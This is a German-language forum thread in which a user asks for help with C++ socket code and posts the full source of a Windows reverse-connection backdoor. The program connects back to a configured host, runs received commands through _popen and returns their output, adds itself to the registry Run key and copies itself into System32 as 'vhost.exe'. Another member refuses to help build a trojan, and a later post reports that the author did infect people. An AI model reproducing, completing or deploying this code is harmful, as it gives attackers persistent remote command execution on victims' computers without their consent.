Socket _popen() linux



  • achja ich hab mal eine Ausgabe eingebaut

    buffer[bytes] = '\0';
    	 pipe (buffer);
    	cout<<lese<<endl;
    	 send (sock, lese, sizeof(lese), 0);
    

    hier bekomme ich die Befehlsausgabe "normal" also ohne die vielen neuen Zeilen angezeigt.



  • gib mal den ganzen code, dann kann ichs testen.



  • #include <cstdlib>
    #include <iostream>
    #include <winsock.h>
    #include <fstream>
    #include <string>
    #include <windows.h>
    
    #define BUFFER_SIZE 1024
    
    using namespace std;
    
    // global vars needed to work
    char lese[10000];
    char ip[10000];
    char port[10000];
    char wait[10000];
    char path[200];
    char oname[200];
    
    int initialise_socket ()
    {
        WSADATA wsa;
        if (WSAStartup(MAKEWORD(1, 1), &wsa))
        {
           printf("WSAStartup() failed, %lu\n", (unsigned long)GetLastError());
           return EXIT_FAILURE;
        }   
        else
        {
            printf("Sockets initialision ok\n");    
        }
    }
    
    char* pipe (char *command)
    {
        // Pipe stuff
        char buffer[10000];
    
        FILE *pPipe;
    
        if( (pPipe = _popen( command, "rt" )) == NULL )
        {
            exit( 1 );
        } 
    
        while(!feof(pPipe)) 
        {
         if( fgets(buffer, 128, pPipe ) != NULL )
         {
          // printf("%s", buffer);
          strcat(lese, buffer);
         }
        }
        _pclose( pPipe );
         return lese;
    
    }
    
    int handling (int sock)
    {
    
        char buffer[BUFFER_SIZE];
    	int bytes;
    
        send (sock, "Connected", sizeof("Connected"), 0);
    
        for (;;)
        {
    	 bytes = recv (sock, buffer, sizeof(buffer) -1, 0);
    	 if (bytes == -1)
    	 {
          return -1;          
         }
    	 buffer[bytes] = '\0';
    	 pipe (buffer);
    	cout<<lese<<endl;
    	 send (sock, lese, sizeof(lese), 0);
        }
    	return 0;   
    }
    
    char read_config ()
    {
       ifstream file(".config.txt");
       string buffer;
    
       // We are just reading 10 lines
       for (int i = 0; i < 10; i++)
       {
        getline(file,buffer);
        if (i == 1)
        {
         strcpy(ip, buffer.c_str());
        }
        if (i == 3)
        {
         strcpy(port, buffer.c_str());     
        }
        if (i == 5)
        {
         strcpy(wait, buffer.c_str());     
        }
        if (i == 7)
        {
         strcpy(path, buffer.c_str());      
        }
        if (i == 9)
        {
         strcpy(oname, buffer.c_str());      
        }
       }  
       file.close();
       return '1';
    }
    
    void autostart ()
    {
      HKEY hkey;
      HKEY KEY = HKEY_CURRENT_USER;
      char place[100]= {"Software\\Microsoft\\Windows\\CurrentVersion\\Run"};
      char name[100]= {"vhost"};
    
      RegOpenKeyEx(KEY,(LPCTSTR)place,0, KEY_ALL_ACCESS,&hkey); 
      RegSetValueEx(hkey, name, 0, REG_SZ, (BYTE *)path, strlen(path));
      RegCloseKey(hkey); 
    
      CopyFile(oname, path, true);
    }
    
    void config ()
    {
     ofstream of;
     of.open(".config.txt", ios::out);
     of << "# IP Address - sets the ip to connect 2" <<endl;
     of << "127.0.0.1" <<endl;
     of << "# port - sets the port to connect 2" <<endl;
     of << "1337" <<endl;
     of << "# time - sets the time to wait for the program until reconnection will be tried again" <<endl;
     of << "2" <<endl;
     of << "# path to system32 directory including name of the executable" <<endl;
     of << "C:\\Windows\\System32\\vhost.exe" <<endl;
     of << "# name of the executable for example vhost.exe - must be the exact name !" <<endl;
     of << "windowsbackdoor.exe" <<endl;
     of.close();     
    }
    
    int main(int argc, char *argv[])
    {
        /*
        Optional Option!
        If you want this program to create its own .config.txt file than you should
        not comment the function call config() out! 
        */
        //config();
    
        // Socket Stuff
        initialise_socket();
        // Set Autostart Method
        autostart();
        // Read config file
        read_config();
    
        // Into Sockets
        int s;
    	struct sockaddr_in srv;
    
    	for (;;)
    	{
        int wait_t = atoi(wait);
        // For seconds!
        wait_t = wait_t * 1000;
        Sleep(wait_t);
    
    	s = socket(AF_INET, SOCK_STREAM, 0);
    	if (s == -1)
    	{
    		perror("socket failed()");
    
    	}
    
    	srv.sin_addr.s_addr = inet_addr(ip);
    	srv.sin_port = htons( (unsigned short int) atol(port));
    	srv.sin_family = AF_INET;
    
    	if (connect(s, (struct sockaddr*) &srv, sizeof(srv)) == -1)
    	{
    		perror("connect failed()");
    
    	}
    
    	if (handling(s) == -1)
    	{
    		fprintf(stderr, "%s: error in handling()\n", argv[0]);
    
    	}
        }
    
    	closesocket(s);
    

    Hier bitte 🙂



  • okay, dein code scheint für microsoft windows bestimmt zu sein. da bist du hier im falschen forum. und beim bau eines trojaners werde ich - und alle anderen hier auch - dir nicht helfen.

    blan



    1. Hab ich das für Windows und Linux geschrieben, der code ändert sich ja nicht wirklich das WSA_STARTUP entfällt halt bei Linux
    2. Ist das ein Reverse Connection script, welches es einem Administrator ermöglichen soll, durch eine IPCop FW reverse durchzutunneln, damit er den server auch von zu hause kontrollieren kann.

    Der Begriff "Trojaner" finde ich daher als falsch, da ich nicht die Absicht habe, irgendwelche leute damit zu "infizieren"



  • Hallo,
    ich wollte nur berichten, dass er doch welche damit infizieren wollte und glaube auch hat.
    Dank des Sources war die Entfernung jedoch nicht schwer.


Anmelden zum Antworten